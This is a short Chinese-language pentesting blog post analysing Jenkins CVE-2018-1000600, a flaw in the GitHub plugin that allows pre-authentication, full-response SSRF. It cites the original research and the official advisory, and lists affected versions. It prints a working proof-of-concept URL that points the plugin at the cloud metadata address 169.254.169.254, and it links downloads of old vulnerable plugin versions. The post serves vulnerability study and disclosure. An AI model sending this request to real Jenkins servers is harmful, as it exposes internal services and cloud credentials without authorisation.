Jenkins CVE-2018-1000600漏洞利用与GitHub插件SSRF攻击分析

本文详细分析了Jenkins GitHub插件中的CVE-2018-1000600漏洞,提供了完整的PoC利用链,包括预认证完全响应SSRF攻击的实现方法和受影响版本范围,并探讨了实际环境中的利用限制与防护措施。

Jenkins - CVE-2018-1000600 PoC

时间: 2019年3月5日 星期二 下午2:01

这是博客文章中的第二个漏洞利用方案

原始博客链接:
https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html

漏洞链分析

通过与CVE-2018-1000600串联实现预认证完全响应SSRF攻击
官方安全公告:
https://jenkins.io/security/advisory/2018-06-25/#SECURITY-915

影响范围

该漏洞影响默认安装的GitHub插件。但需要注意的是,当新建Jenkins实例时,默认会拉取所有更新的插件(同样为默认配置)。虽然不确定用户默认启用最新插件更新的频率,但这确实会降低部分攻击风险。

受影响版本: GitHub Plugin 1.29.1及以下版本

重要提示: 在2019年2月25日安装Jenkins时,默认安装的是1.29.4版本,因此以下利用方法不再有效

漏洞详情

来自博客文章的说明:

GitHub插件中的CSRF漏洞和权限检查缺失允许攻击者窃取凭据

该漏洞可以提取Jenkins中任何已知凭据ID的存储凭据。但如果没有用户提供的值,凭据ID是一个随机UUID。因此这似乎无法利用?(或者如果有人知道如何获取凭据ID,请告知!)

虽然无法在没有已知凭据ID的情况下提取任何凭据,但仍然存在另一种攻击原语——完全响应SSRF!我们都知道利用盲SSRF有多么困难,这就是为什么完全响应的SSRF如此有价值!

PoC利用代码

1
2
3
4
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai

插件资源

获取旧版本插件和相关信息:
https://wiki.jenkins.io/display/JENKINS/GitHub+Branch+Source+Plugin

下载旧版本:
https://updates.jenkins.io/download/plugins/github-branch-source/
https://updates.jenkins.io/download/plugins/github/


标签: devops, jenkins, Pentesting

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计